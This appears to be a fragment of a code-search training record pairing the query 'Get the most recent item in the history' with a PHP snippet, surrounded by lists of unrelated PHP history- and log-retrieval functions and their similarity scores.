"private function getHistory()\n {\n $history = [];\n\n foreach ($this->getResponse()->data as $k => $v) {\n $history[$k]['tanggal'] = Utils::setDate($v->Tanggal);\n\n switch ($v->StatusInternal) {\n case 'Baru':\n $history[$k]['posisi'] = preg_replace('/Diterima di Sales Counter (.*)/', '$1', $v->TrackStatusNama);\n break;\n\n case 'Manifest Pickup':\n $posisi = preg_replace('/Di pickup oleh petugas (.*)/', '$1', $v->TrackStatusNama);\n $history[$k]['posisi'] = $posisi;\n $this->kotaPengirim = strtoupper($posisi);\n break;\n\n case 'Serah Terima Pickup':\n $history[$k]['posisi'] = preg_replace('/Diterima di fasilitas (.*)/', '$1', $v->TrackStatusNama);\n break;\n\n case 'Moda Angkutan':\n $history[$k]['posisi'] = preg_replace('/Pengiriman dari (.*) ke (.*)/', '$1', $v->TrackStatusNama);\n break;\n\n case 'Serah Terima Surat Muatan':\n $history[$k]['posisi'] = preg_replace('/Diterima di fasilitas (.*)/', '$1', $v->TrackStatusNama);\n break;\n\n case 'Serah Terima Manifest':\n $history[$k]['posisi'] = preg_replace('/Diterima di fasilitas (.*)/', '$1', $v->TrackStatusNama);\n break;\n\n case 'Surat Jalan Kurir':\n $history[$k]['posisi'] = preg_replace('/Proses pengantaran oleh kurir (.*), (.*)/', '$1', $v->TrackStatusNama);\n break;\n\n case 'Terkirim/Diterima':\n $history[$k]['posisi'] = 'Diterima';\n $this->tanggalTerima = $v->Tanggal;\n $this->namaPenerima = preg_replace('/Diterima oleh (.*)\\((.*)/', '$1', $v->TrackStatusNama);\n break;\n\n default:\n $history[$k]['posisi'] = null;\n break;\n }\n\n $history[$k]['message'] = $v->TrackStatusNama;\n }\n\n return $history;\n }",
"public function getFullHistory($id)\n {\n $data = [];\n if (!$id) {\n throw new InputException(__('Id required'));\n }\n /** @var OrderInterface $entity */\n $order = $this->_objectManager->create('Magento\\Sales\\Model\\Order')->loadByIncrementId($id);\n if (!$order->getEntityId()) {\n throw new NoSuchEntityException(__('Requested entity doesn\\'t exist'));\n }\n\n $history = [];\n foreach ($order->getAllStatusHistory() as $orderComment) {\n $history['order'][] = $this->_prepareHistoryItem(\n $orderComment->getStatusLabel(),\n $orderComment->getIsCustomerNotified(),\n $orderComment->getCreatedAt(),\n $orderComment->getComment()\n );\n }\n\n foreach ($order->getCreditmemosCollection() as $_memo) {\n $history['memo'][] = $this->_prepareHistoryItem(\n __('Credit memo #%1 created', $_memo->getIncrementId()),\n $_memo->getEmailSent(),\n $this->getOrderAdminDate($_memo->getCreatedAt())\n );\n\n foreach ($_memo->getCommentsCollection() as $_comment) {\n $history[] = $this->_prepareHistoryItem(\n __('Credit memo #%1 comment added', $_memo->getIncrementId()),\n $_comment->getIsCustomerNotified(),\n $_comment->getCreatedAt(),\n $_comment->getComment()\n );\n }\n }\n\n foreach ($order->getShipmentsCollection() as $_shipment) {\n $history['shipment'][] = $this->_prepareHistoryItem(\n __('Shipment #%1 created', $_shipment->getIncrementId()),\n $_shipment->getEmailSent(),\n $_shipment->getCreatedAt()\n );\n\n foreach ($_shipment->getCommentsCollection() as $_comment) {\n $history[] = $this->_prepareHistoryItem(\n __('Shipment #%1 comment added', $_shipment->getIncrementId()),\n $_comment->getIsCustomerNotified(),\n $_comment->getCreatedAt(),\n $_comment->getComment()\n );\n }\n }\n\n foreach ($order->getInvoiceCollection() as $_invoice) {\n $history['invoice'][] = $this->_prepareHistoryItem(\n __('Invoice #%1 created', $_invoice->getIncrementId()),\n $_invoice->getEmailSent(),\n $_invoice->getCreatedAt()\n );\n\n foreach ($_invoice->getCommentsCollection() as $_comment) {\n $history[] = $this->_prepareHistoryItem(\n __('Invoice #%1 comment added', $_invoice->getIncrementId()),\n $_comment->getIsCustomerNotified(),\n $_comment->getCreatedAt(),\n $_comment->getComment()\n );\n }\n }\n\n foreach ($order->getTracksCollection() as $_track) {\n $history['tracking'][] = $this->_prepareHistoryItem(\n __('Tracking number %1 for %2 assigned', $_track->getNumber(), $_track->getTitle()),\n false,\n $_track->getCreatedAt()\n );\n }\n\n $data[] = $history;\n\n return $data;\n }",
"public function getHistory()\n {\n return view('PagePersonal.history');\n }",
"public function action_chat_history() {\n\t\t$this->_template->set('page_title', 'All Messages');\n\t\t$this->_template->set('page_info', 'view and manage chat messages');\n\t\t$messages = ORM::factory('Message')->get_grouped_messages($this->_current_user->id);\n\t\t$this->_template->set('messages', $messages);\n\t\t$this->_set_content('messages');\n\t}",
"public function getHistorial()\n {\n $stmt = Conexion::conectar()->prepare('SELECT *from historiales');\n $stmt->execute();\n }",
"public function getStatusHistories();",
"public function getItems(){\n\t\treturn $this->_makeCall('items?');\n\t}",
"public function getHistoryList($username, $limit = 100)\n\t\t{\n\t\t\t\t\n\t\t\t$result = pg_query_params(\n\t\t\t\t\t$this->connection,\n\t\t\t\t\t'SELECT dialled_party, date_from, date_to FROM history WHERE username = $1 ' .\n\t\t\t\t\t'ORDER BY date_from desc LIMIT $2',\n\t\t\t\t\tarray($username, $limit));\n\t\t\t\t\n\t\t\tif(!$result)\n\t\t\t{\n\t\t\t\techo 'Error: objects not found';\n\t\t\t\treturn null;\n\t\t\t}\n\t\t\t\n\t\t\t$resultArray = array();\n\t\t\t$rows = pg_num_rows($result);\n\t\t\t\n\t\t\tfor ($i = 0; $i < $rows; $i++)\n\t\t\t{\n\t\t\t\t$resultArray[] = pg_fetch_row($result, $i);\n\t\t\t}\n\t\t\t\t\t\n\t\t\tpg_free_result($result);\t\t\t\n\t\t\treturn $resultArray;\n\t\t}",
"public function history(): morphMany\n {\n return $this->morphMany(History::class, 'historable');\n }",
"public function getBreakHistory()\n {\n return $this->get(self::_BREAK_HISTORY);\n }",
"public function histories()\n {\n return $this->hasMany(History::class);\n }",
"private function get_user_history() {\n\n\t\t// Grab user history from the current session\n\t\t$session_history = it_exchange_get_session_data( 'user_history' );\n\n\t\t// If user has an established history, return that\n\t\tif ( isset( $session_history ) && ! empty( $session_history ) ) {\n\t\t\treturn (array) $session_history;\n\n\t\t// Otherwise, return an array with the original referrer\n\t\t} else {\n\t\t\t$referrer = isset( $_SERVER['HTTP_REFERER'] )\n\t\t\t\t? $_SERVER['HTTP_REFERER']\n\t\t\t\t: __( 'Direct Traffic', 'LION' );\n\n\t\t\treturn array( array( 'url' => $referrer, 'time' => time() ) );\n\t\t}\n\n\t}",
"public function getHistory($id){\n\t\t$myissues = Issues::find_by_sql(\"SELECT * FROM issues WHERE issue_mem_id=\".$id);\n\t\treturn $myissues;\n\t}",
"public function getItemHistorysCount()\n {\n return $this->count(self::_ITEM_HISTORYS);\n }",
"public function actionHistory()\n {\n $id = Yii::app()->request->getQuery('id');\n $model = Order::model()->findByPk($id);\n\n if (!$model)\n $this->error404(Yii::t('CartModule.admin', 'ORDER_NOT_FOUND'));\n if ($model->is_deleted)\n throw new CHttpException(404, Yii::t('CartModule.admin', 'ORDER_ISDELETED'));\n $this->render('_history', array(\n 'model' => $model\n ));\n }",
"public function actionHistory()\n {\n /*$auditdata = AuditTrailSearch::find()\n ->select(['entry_id', 'model_id', 'user_id', 'created', 'old_value'])\n ->where([\n 'action' => 'DELETE',\n 'model' => 'backend\\models\\Event',\n ])\n ->andFilterWhere(['>', 'old_value', \"''\"])\n ->orderBy(['model_id' => SORT_DESC])\n ->all();*/\n// $historyData = \\yii\\helpers\\ArrayHelper::map($auditdata, 'model_id', 'old_value');\n// \\yii\\helpers\\VarDumper::dump($historyData);\n\n $searchModel = new AuditTrailSearch;\n $searchFilter = [\n 'AuditTrailSearch' => [\n 'action' => 'DELETE',\n 'model' => 'backend\\models\\Event'\n ]\n ];\n $dataProvider = $searchModel->search(\\yii\\helpers\\ArrayHelper::merge(Yii::$app->request->get(), $searchFilter));\n //var_dump(Yii::$app->request->get());\n //\\yii\\helpers\\VarDumper::dump($searchModel);\n $message = \"<ol>恢复操作指引<li><删除内容>中输入内容筛选</li><li>点击复选框选中需要恢复的记录</li><li>点击<恢复记录>按钮</li></ol>\";\n Yii::$app->session->setFlash('info', $message);\n return $this->render('history', [\n 'dataProvider' => $dataProvider,\n 'searchModel' => $searchModel,\n ]);\n }",
"public function GetHistoryInfo()\n\t{\n\t if ($this->m_Stateless == \"Y\")\n\t return;\n\t if (!$this->m_NoHistoryInfo)\n\t {\n\t $histInfo[] = $this->m_RecordId;\n $histInfo[] = $this->m_CurrentPage;\n $histInfo[] = $this->m_SearchRule;\n $histInfo[] = $this->m_SortRule;\n\t return $histInfo;\n\t }\n\t return null;\n\t}",
"public function appendItemHistorys(Down_GuildItemHistory $value)\n {\n return $this->append(self::_ITEM_HISTORYS, $value);\n }",
"public function loadExampleHistory($data) {\n\t\t// Check for admin access\n\t\tif($this->access < 3) { return array('result' => 'failure', 'message' => 'Access Denied!'); }\n\t\t\n\t\t$history = $this->loadHistory(array(\n\t\t\t'table' => 'fks_menus',\n\t\t\t'id' => $data,\n\t\t\t'title' => 'Menu History: ',\n\t\t\t'select' => 'title',\n\t\t\t'actions' => array(\n\t\t\t\t\\Enums\\LogActions::MENU_CREATED,\n\t\t\t\t\\Enums\\LogActions::MENU_MODIFIED\n\t\t\t)\n\t\t));\n\t\t\n\t\treturn $history;\n\t}",
"public function getEntriesList(){\n return $this->_get(2);\n }",
"public static function getOrderHistoryOfUser() {\n return $allOrders = Order::where(\"user_id\", Auth::id())\n ->select(\"*\")->orderBy(\"created_at\", \"desc\")->get();\n }",
"public function get_all_log() {\r\n\t\treturn $this->edb->selectAll ( \"log\" );\r\n\t}",
"function fetchHistorial() {\n\n $historiales = array();\n\n $con = new DB();\n $sql = $con->prepare(\"SELECT * FROM historial\");\n $result = $con->executeQuery($sql);\n\n foreach ($result as $row) {\n $id_diario = $row['id_diario'];\n $id_poi = $row['id_poi'];\n $fechaVisitaPoi = $row['fechaVisitaPoi'];\n $estaEnPoi = $row['estaEnPoi'];\n $texto = $row['texto'];\n $foto = $row['foto'];\n $video = $row['video'];\n $historial = new Historial($id_diario, $id_poi, $fechaVisitaPoi, $estaEnPoi, $texto, $foto, $video);\n array_push($historiales, $historial);\n }\n\n return $historiales;\n }",
"public function actionCron_jobs_history()\n {\n $request = Yii::app()->request;\n $model = new ConsoleCommandListHistory('search');\n $model->unsetAttributes();\n\n $model->attributes = (array)$request->getQuery($model->modelName, array());\n \n $this->setData(array(\n 'pageMetaTitle' => $this->data->pageMetaTitle . ' | '. Yii::t('cronjobs', 'View cron jobs history'),\n 'pageHeading' => Yii::t('cronjobs', 'View cron jobs history'),\n 'pageBreadcrumbs' => array(\n Yii::t('cronjobs', 'Cron jobs history'),\n )\n ));\n\n $this->render('cron-jobs-history', compact('model'));\n }",
"public function action_index()\n{\n $history = Jelly::select( 'user_history' )\n ->where(':primary_key', '=', $this->user->id)\n ->limit( 25 )\n ->execute();\n\n $this->template->content = View::factory('history/index')\n ->set('history', $history);\n\n}",
"public function getMyHistory($email) {\n $conn = $this->getConnection();\n $getQuery = \"SELECT * FROM userdata where Email = :email group by address\";\n $q = $conn->prepare($getQuery);\n $q->bindParam(\":email\", $email);\n $q->execute();\n return $q->fetchAll();\n }",
"function getHistory(){\r\n\t\t// pobranie informacji o poprzedniej erze\r\n\t\t$zapytanie=\"select * from historia_koalicje where nr_ery = (select max(nr_ery) from historia_koalicje) and nazwa='\".$this->getName().\"';\";\r\n\t\t$historia=mysql_query($zapytanie)or Die(\"ups :)\");\r\n\t\tif(mysql_num_rows($historia)>0){\r\n\t\t\t$wiersz_h->dane=mysql_fetch_array($historia);\r\n\t\t\t$wiersz_h->czyJest='ok';\r\n\t\t}else{\r\n\t\t\t$wiersz_h->czyJest=false;\r\n\t\t}\r\n\t\treturn $wiersz_h;\r\n\t}",
"public function actionHistory()\n {\n $model= User::findOne(['id' => Yii::$app->user->identity->getId()]);\n $orders = Order::find()->where(['id_user' => $model->id])->with('orderProds')->orderBy('date DESC')->all();\n return $this->render('history', [\n 'model' => $model,\n 'orders' => $orders,\n 'page' => SmapPages::find()->where(['id_class'=>4,'alias' => 'history'])->one()\n ]);\n }",
"public function getNewUniqueStatHistory()\n\t{\n\t\treturn $this->new_stat_history;\n\t}",
"public function testFinderHistory() {\n $MIN_LIFE = 90;\n $MAX_LIFE = 96;\n\n $array = $this->Links->find('history', ['min_life' => $MIN_LIFE , 'max_life' => $MAX_LIFE, 'user_id' => 1])\n ->toArray();\n $this->assertEquals(count($array), 1, 'Exactly 1 links is retrieved by views');\n\n $array = $this->Links->find('history', ['title' => 'I do not exist',\n 'min_life' => $MIN_LIFE ,\n 'max_life' => $MAX_LIFE, 'user_id' => 1])\n ->toArray();\n $this->assertEquals(count($array), 0, 'Test filter on title');\n\n $array = $this->Links->find('history', ['status' => 1,\n 'min_life' => $MIN_LIFE ,\n 'max_life' => $MAX_LIFE, 'user_id' => 1])\n ->toArray();\n $this->assertEquals(count($array), 1, 'Test filter on status');\n }",
"public function getItems();",
"public function getItems();",
"public function getItems();",
"public function getItems();",
"public function getItems();",
"public function getItems();",
"public function getItems();",
"public function getItems();",
"public function getItems();",
"public function getItems();"
] | [
"0.8420503",
"0.7886924",
"0.7833313",
"0.7743734",
"0.7681171",
"0.76645",
"0.76645",
"0.7636085",
"0.7538793",
"0.7257729",
"0.72539264",
"0.71904534",
"0.7184721",
"0.7143587",
"0.7070626",
"0.7051845",
"0.69854397",
"0.6926971",
"0.6906074",
"0.6900634",
"0.68252206",
"0.68091184",
"0.6807176",
"0.6742508",
"0.6742508",
"0.67296934",
"0.67269087",
"0.6694988",
"0.66865927",
"0.6675142",
"0.66550577",
"0.6652263",
"0.6638318",
"0.6636768",
"0.6580694",
"0.65607274",
"0.6543643",
"0.6505096",
"0.6489029",
"0.64843357",
"0.6456717",
"0.64444613",
"0.6427278",
"0.6424846",
"0.64220804",
"0.6389535",
"0.6389482",
"0.6385151",
"0.6375745",
"0.63451755",
"0.63321877",
"0.627325",
"0.6248922",
"0.623389",
"0.6187463",
"0.61769646",
"0.6172795",
"0.615934",
"0.61388266",
"0.6127885",
"0.61267143",
"0.61192703",
"0.611396",
"0.610125",
"0.6091033",
"0.60883194",
"0.6085942",
"0.60856515",
"0.60835344",
"0.60529244",
"0.6040549",
"0.6034884",
"0.60322315",
"0.60202885",
"0.6018222",
"0.60113525",
"0.5999774",
"0.5993834",
"0.5990238",
"0.5988883",
"0.5988032",
"0.5985448",
"0.5980736",
"0.59795815",
"0.59619844",
"0.59612465",
"0.5957938",
"0.5953709",
"0.5937594",
"0.59302765",
"0.5922626",
"0.5922412",
"0.5922412",
"0.5922412",
"0.5922412",
"0.5922412",
"0.5922412",
"0.5922412",
"0.5922412",
"0.5922412",
"0.5922412"
] | 0.0 | -1 |
/ Get the most recent item in the history | public function getFirst ()
{
return end ( $this->_list ) ;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function getLatestHistory() {\n $history = $this->getHistory();\n if (count($history) === 0) {\n return null;\n }\n return $history[count($history) - 1];\n }",
"public function getLatestItem()\n {\n return end($this->items);\n }",
"public function getLastItem() {}",
"public function getLastItem() {}",
"public function lastItem();",
"public function latest();",
"public function getLast ()\n {\n return reset ( $this->_list ) ;\n }",
"function getLastItem() { return $this->m_lastItem; }",
"public function getItemsHistory()\n {\n return $this->get(self::_ITEMS_HISTORY);\n }",
"function getHistory() {\n\t\treturn db_query_params ('SELECT * FROM artifact_history_user_vw WHERE artifact_id=$1 ORDER BY entrydate DESC, id ASC',\n\t\t\t\t\tarray ($this->getID())) ;\n\t}",
"public function getLatestRecord();",
"public function last()\n {\n return $this->execGetRequest(['allow_state' => true], UrlBuilder::RESOURCE_GET_LATEST_NEWS);\n }",
"public function lastItem() {\n\t\treturn $this->fastForward()->current();\n\t}",
"function GetHistoryItem($val) /*12_05_2007 возвращает адрес из истории со смещением назад равным $val*/\n\t\t{\n\t\tif($this->history[count($this->history)-$val])\n\t\t\t$ret = $this->history[count($this->history)-$val];\n\t\telse\n\t\t\t$ret = $_SERVER['SERVER_NAME'];\n//\t\treturn $this->history[count($this->history)-1]; \n\t\treturn $ret;\n\t\t}",
"public function getLast()\n\t{\n\t\t$this->_db->setQuery(\"SELECT publish_down FROM $this->_tbl ORDER BY publish_down DESC LIMIT 1\");\n\t\treturn $this->_db->loadResult();\n\t}",
"public static function mostRecent()\n {\n return self::latest()->published()->first();\n }",
"public function getMostRecentUnStable()\n {\n return $this->selectRecentUnstable();\n }",
"public function last()\n {\n return Arr::last($this->items);\n }",
"function top()\n {\n return $this->items[count($this->items) - 1];\n }",
"public function getMostRecentStable()\n {\n return $this->selectRecentStable();\n }",
"public function last() {\n if ($this->count >= 1) {\n return $this->items[count($this->items) - 1];\n }\n else\n return null;\n }",
"public function getLast()\n {\n $k = count($this);\n if ($k > 0) {\n return $this[$k - 1];\n }\n }",
"public function last()\n {\n $record = R::findOne( $this->table_name(), \" order by id desc \");\n\n return $this->map_reford_to_object( $record );\n }",
"public function getLastChange()\n {\n return $this->get(self::_LAST_CHANGE);\n }",
"public function getLastChange()\n {\n return $this->get(self::_LAST_CHANGE);\n }",
"public function getMostRecentBuild()\n {\n return $this->builds[0];\n }",
"public function maxDate()\n {\n $qb = $this->createQueryBuilder('h')->select('h')->orderBy('h.date', 'DESC')->setMaxResults(1);\n /** @var AbstractHistory $last */\n $last = $qb->getQuery()->getOneOrNullResult();\n\n if (is_null($last)) {\n return;\n }\n\n return $last->getDate();\n }",
"public function last()\n {\n return end($this->items);\n }",
"public function getMostRecentRequest() {\n return array_slice($this->statusRequests, -1)[0];\n }",
"function last()\r\n {\r\n if ($this->count()>=1)\r\n {\r\n return($this->items[count($this->items)-1]);\r\n }\r\n else\r\n {\r\n return(null);\r\n }\r\n }",
"public function getLastchange()\n {\n return $this->get(self::_LASTCHANGE);\n }",
"protected function _getLatestItem()\n {\n if ($this->_latestItem == null) {\n $items = array_values($this->_criticalCollection->getItems());\n $this->_latestItem = false;\n if (count($items)) {\n $this->_latestItem = $items[0];\n }\n }\n return $this->_latestItem;\n }",
"public function GetLastRecord(){$this->LastPosts();return $this->lastrecord;}",
"public function getLastQuery(): string\n {\n return array_values(array_slice($this->History, -1))[0];\n }",
"public function mostRecentRun() {\n\t\t$activities = $this->activities();\n\t\treturn reset($activities);\n\t}",
"public function getLastItem()\n {\n if ($this->valid() === false) {\n return null;\n }\n return $this->getRow($this->count() - 1);\n }",
"public function retrieveLastItemId() {\n return $this->itemsDB->retrieveLastItemId();\n }",
"public function getLast();",
"public function getLast();",
"function get_history() {\n\t\treturn $this->history;\n\t}",
"public function last()\r\n\t{\r\n\t\treturn end($this->_items);\r\n\t}",
"function getLastViewed();",
"protected function getHistoryRecord() {\n\t\tif (!$this->model->isNew()) {\n\t\t\t/** @var HasHistory $model */\n\t\t\t$model = $this->model->getStoredCopy();\n\n\t\t\t// Using stored copy, in order to safeguard partial representations of\n\t\t\t// existing models.\n\t\t\t$this->historyRecord = $model->getHistory();\n\t\t}\n\n\t\tif (empty($this->historyRecord)) {\n\t\t\t$this->historyRecord = $this->createHistoryRecord();\n\t\t}\n\n\t\treturn $this->historyRecord;\n\t}",
"public function last() {\n\t\treturn $this->valueForKey($this->lastKey());\n\t}",
"public function last() { \t\n try{\n if (!is_array($this->Items)) return $this->Items; \t\n if (!count($this->Items)) return null; \t\n end($this->Items); \t\n return $this->Items[key($this->Items)]; \n }catch(Exception $e){\n throw $e;\n }\n }",
"public function getAndRemoveLastItem();",
"function getLastchange() {\n\t\treturn $this->get(\"lastchange\");\n\t}",
"public function getHistory()\r\r\n {\r\r\n return $this->history;\r\r\n }",
"public function getLastOrder();",
"public function getLatestPost()\n {\n $recent = $this->getRecent(1);\n\n if (is_array($recent)) {\n $recent = array_pop($recent);\n }\n\n return $recent;\n }",
"public function last() {\n\t\t$result = $this->get_result();\n\n\t\treturn array_pop( $result );\n\t}",
"public static function getMostRecent()\n\t{\n\t\t$table = new Zend_Db_Table(array('name'=>PrecurioTableConstants::NEWS, 'rowClass'=>'News'));\n\t\t$select = $table->select();\n\t\t$select->setIntegrityCheck(false);\n\t\t$select->setTable($table); \n\t\t$select = $select->from(array('a' => PrecurioTableConstants::CONTENT))\n\t\t\t\t\t\t->join(array('b' => PrecurioTableConstants::NEWS),'a.id = b.content_id',array('content_id'))\n\t\t\t\t\t\t->where('a.active=1')\n\t\t\t\t\t\t->order('a.id DESC')\n\t\t\t\t\t\t->limit(1);\n\t\t$news = $table->fetchRow($select);\n\t\treturn $news;\n\t}",
"function getHistory()\n\t{\n\t\tif (intval($this->id)==0) {\n\t\t\treturn null;\n\t\t}\n\n\t\t// $db = Zend_Registry::get('db');\n\t\t// $sql = sprintf('select * from object_history where link_to=%d and link_id=%d order by cts desc',$ot,$id);\n\t\t// $rs = $db->fetch_all($sql);\n\t\t// return $rs;\n\n\t\t$s = 'select id,auth_user_id,ctime,link,f,v0,v1 from base_diff ';\n\t\t$s.= sprintf(' where link = \\'%s\\' ',$this->link() );\n\t\t// $s.= ' order by ctime ';\n\t\t$s.= ' union all ';\n\t\t$s.= 'select id,auth_user_id,cts,link,\\'-None-\\',message,null from object_history ';\n\t\t$s.= sprintf(' where link = \\'%s\\' ',$this->link() );\n\t\t$s.= ' order by ctime desc ';\n\n\t\t// $s = $d->select();\n\t\t// $s->from('object_history');\n\t\t// $s->where('link = ?', $this->link() );\n\t\t// $s->order('cts');\n\t\t$r = SQL::fetch_all($s);\n\t\treturn $r;\n\t}",
"public function last();",
"public function last();",
"public function last();",
"public function last()\n {\n return $this->all()->last();\n }",
"function getMostRecentCodeMovement() {\n $res = $this->all();\n $index = count($res) - 1;\n return $res{$index}->code;\n }\n}",
"public function getLast()\n\t{\n\t\treturn $this->last;\n\t}",
"public function last() {\n return end($this->list);\n }",
"public function getHistory()\n {\n return $this->_history;\n }",
"public function getLastRevision();",
"public function return_most_recent() {\n\n // query database to return just the most recent work item\n $query_args = array(\n 'post_type' => 'invoice_item',\n 'meta_query' => array(\n array(\n 'key' => 'client_id',\n 'value' => $this->id\n ),\n 'ii_date' => array(\n 'key' => 'date',\n )\n ),\n 'orderby' => 'ii_date',\n 'order' => 'DSC',\n 'posts_per_page' => 1\n );\n $query = new WP_Query($query_args);\n\n // populate return array and return\n while ($query->have_posts()) {\n $query->the_post();\n $invoice_item = new InvoiceItem(get_the_id());\n update_post_meta($this->id, 'most_recent', strtotime($invoice_item->date));\n $return = array(\n 'id' => get_the_id(),\n 'permalink' => get_the_permalink(),\n 'value' => $invoice_item->value,\n 'title' => $invoice_item->ii_title,\n 'date' => $invoice_item->date,\n );\n return $return;\n }\n\n }",
"public function getLastLog()\n {\n $log = $this->createQueryBuilder()\n ->select('l.*')\n ->from($this->tableName, 'l')\n ->orderBy('l.id', 'DESC')\n ->setMaxResults(1)\n ->execute()\n ->fetch();\n \n if (false !== $log) {\n return new Log($log);\n }\n }",
"public function getLastUpdate()\n {\n return $this->cache->load(\n self::CACHE_TAG\n );\n }",
"public function getHistory()\n {\n return $this->history;\n }",
"public function last() {\n $this->_active_query->order(['DESC' => 'id']);\n return $this->first();\n }",
"public function getLastItemChangeId()\n {\n return $this->doRequest(array('sessionId' => $this->sessionId), 'GetLastItemChangeId');\n }",
"public function getLastbuy()\n {\n return $this->get(self::_LASTBUY);\n }",
"public function last()\n {\n return parent::last();\n }",
"public function last()\n {\n return parent::last();\n }",
"public function last()\n {\n return parent::last();\n }",
"public function last()\n {\n return parent::last();\n }",
"public function last()\n {\n return parent::last();\n }",
"public function last()\n {\n return parent::last();\n }",
"public function last()\n {\n return parent::last();\n }",
"public function last()\n {\n return parent::last();\n }",
"public function last()\n {\n return parent::last();\n }",
"public function last()\n {\n return parent::last();\n }",
"public function last()\n {\n return parent::last();\n }",
"public function last()\n {\n return parent::last();\n }",
"public function last()\n {\n return parent::last();\n }",
"public function last()\n {\n return parent::last();\n }",
"public function last()\n {\n return parent::last();\n }",
"public function last()\n {\n return parent::last();\n }",
"public function last()\n {\n foreach (array_reverse($this->lists) as $list) {\n foreach ($list->reverse() as $record) {\n return $record;\n }\n }\n return null;\n }",
"public function recent()\n\t{\n\t\t$this->db->order_by('id', 'desc');\n\t\t$db_result = $this->db->get_where('files', array ('status' => 1), 4);\n\n\t\treturn $db_result->result();\n\t}",
"public function getLatest(): Job;",
"public function getLast()\n {\n $this->update();\n $count = sizeof($this->data);\n if (isset($this->data[$count - 1])) {\n return $this->updateValueIfNeeded($this->data, $count - 1);\n }\n return null;\n }",
"public function last()\n {\n return (null === $this->getDraft()) ? $this->getData($this->count() - 1) : $this->getDraft()->last();\n }",
"function cache_MostRecent($cc = null) {\n\t\tif ($cc === null) $cc = Session::read('castingCall');\n\t\t$ccIds = array_keys($cc);\n\t\tunset($ccIds['Lightbox']);\t// don't include Lightbox in this method\n\t\tif ($ccIds) {\n\t\t\tsort($ccIds);\n\t\t\treturn $cc[array_pop($ccIds)];\n\t\t} else return null;\n\t}",
"public function last()\n\t{\n\t\treturn parent::last();\n\t}",
"public function last()\n\t{\n\t\treturn parent::last();\n\t}",
"public function last()\n\t{\n\t\treturn parent::last();\n\t}",
"public function last()\n\t{\n\t\treturn parent::last();\n\t}",
"public function last()\n\t{\n\t\treturn parent::last();\n\t}",
"public function last()\n\t{\n\t\treturn parent::last();\n\t}",
"public function last()\n\t{\n\t\treturn parent::last();\n\t}",
"public function last()\n\t{\n\t\treturn parent::last();\n\t}",
"public function last()\n\t{\n\t\treturn parent::last();\n\t}",
"public function last()\n\t{\n\t\treturn parent::last();\n\t}"
] | [
"0.76556665",
"0.74500746",
"0.71322787",
"0.71322787",
"0.7008512",
"0.6968571",
"0.6931611",
"0.69295454",
"0.69163007",
"0.67634255",
"0.67290574",
"0.6704924",
"0.6697832",
"0.6669397",
"0.6601136",
"0.659169",
"0.65856963",
"0.6568836",
"0.65627736",
"0.65488094",
"0.6543671",
"0.650858",
"0.64967906",
"0.64913505",
"0.64913446",
"0.6468315",
"0.6434725",
"0.64321667",
"0.6421354",
"0.6408985",
"0.6392002",
"0.63777786",
"0.6369606",
"0.6365485",
"0.63597775",
"0.63558775",
"0.63329434",
"0.63326955",
"0.63326955",
"0.63269895",
"0.63091475",
"0.62939656",
"0.62935233",
"0.62913305",
"0.62851965",
"0.62849736",
"0.6271763",
"0.62701464",
"0.62674063",
"0.62657857",
"0.6248928",
"0.6238053",
"0.623269",
"0.6229275",
"0.6229275",
"0.6229275",
"0.62116057",
"0.61944115",
"0.6183847",
"0.6178789",
"0.6171715",
"0.61661667",
"0.6158428",
"0.6140997",
"0.6139993",
"0.6130008",
"0.61025715",
"0.6090826",
"0.60699975",
"0.6065259",
"0.6065259",
"0.6065259",
"0.6065259",
"0.6065259",
"0.6065259",
"0.6065259",
"0.6065259",
"0.6065259",
"0.6065259",
"0.6065259",
"0.6065259",
"0.6065259",
"0.6065259",
"0.6065259",
"0.6065259",
"0.6059281",
"0.6057199",
"0.6051092",
"0.6033646",
"0.6023993",
"0.60021704",
"0.59930545",
"0.59930545",
"0.59930545",
"0.59930545",
"0.59930545",
"0.59930545",
"0.59930545",
"0.59930545",
"0.59930545",
"0.59930545"
] | 0.0 | -1 |
/ Get the oldest item in the history (the default layout) | public function getLast ()
{
return reset ( $this->_list ) ;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function getLatestHistory() {\n $history = $this->getHistory();\n if (count($history) === 0) {\n return null;\n }\n return $history[count($history) - 1];\n }",
"public function getLatestItem()\n {\n return end($this->items);\n }",
"function top()\n {\n return $this->items[count($this->items) - 1];\n }",
"function get_previous_page(){\n\t\t$query = \"SELECT * FROM \" . Database::$table . \" ORDER BY timestamp DESC LIMIT 1\";\n\t\treturn Database::get_all_results($query);\n\t}",
"function get_previous_item($item = null)\n{\n if (!$item) {\n $item = get_current_record('item');\n }\n return $item->previous();\n}",
"public static function getMostRecent()\n\t{\n\t\t$table = new Zend_Db_Table(array('name'=>PrecurioTableConstants::NEWS, 'rowClass'=>'News'));\n\t\t$select = $table->select();\n\t\t$select->setIntegrityCheck(false);\n\t\t$select->setTable($table); \n\t\t$select = $select->from(array('a' => PrecurioTableConstants::CONTENT))\n\t\t\t\t\t\t->join(array('b' => PrecurioTableConstants::NEWS),'a.id = b.content_id',array('content_id'))\n\t\t\t\t\t\t->where('a.active=1')\n\t\t\t\t\t\t->order('a.id DESC')\n\t\t\t\t\t\t->limit(1);\n\t\t$news = $table->fetchRow($select);\n\t\treturn $news;\n\t}",
"public function latest();",
"private function get_newest_post() {\n\t\t// If set in the admin get the top story.\n\t\t$newest_post = get_option( 'current-top-story' );\n\t\t$title = '' !== $newest_post ? sanitize_text_field( wp_unslash( $newest_post ) ) : '';\n\n\t\t$args = array(\n\t\t\t'numberposts' => 1,\n\t\t\t'orderby' => 'post_date',\n\t\t\t'order' => 'DESC',\n\t\t\t'post_type' => 'post',\n\t\t\t'post_status' => 'publish',\n\t\t\t's' => $title,\n\t\t);\n\n\t\t$post_array = wp_get_recent_posts( $args, OBJECT );\n\n\t\treturn $post_array[0];\n\t}",
"public function getEarliest(): int\n {\n return $this->earliest;\n }",
"public function getItemsHistory()\n {\n return $this->get(self::_ITEMS_HISTORY);\n }",
"public function getLastItem() {}",
"public function getLastItem() {}",
"public function oldest()\n {\n if (func_num_args() == 0) {\n return $this->getOldest();\n }\n\n $this->setOldest(func_get_arg(0));\n\n return $this;\n }",
"public function getMostRecentRequest() {\n return array_slice($this->statusRequests, -1)[0];\n }",
"public function previousVersion()\n {\n return $this->versions()->orderBy(Version::CREATED_AT, 'DESC')->limit(1)->offset(1)->first();\n }",
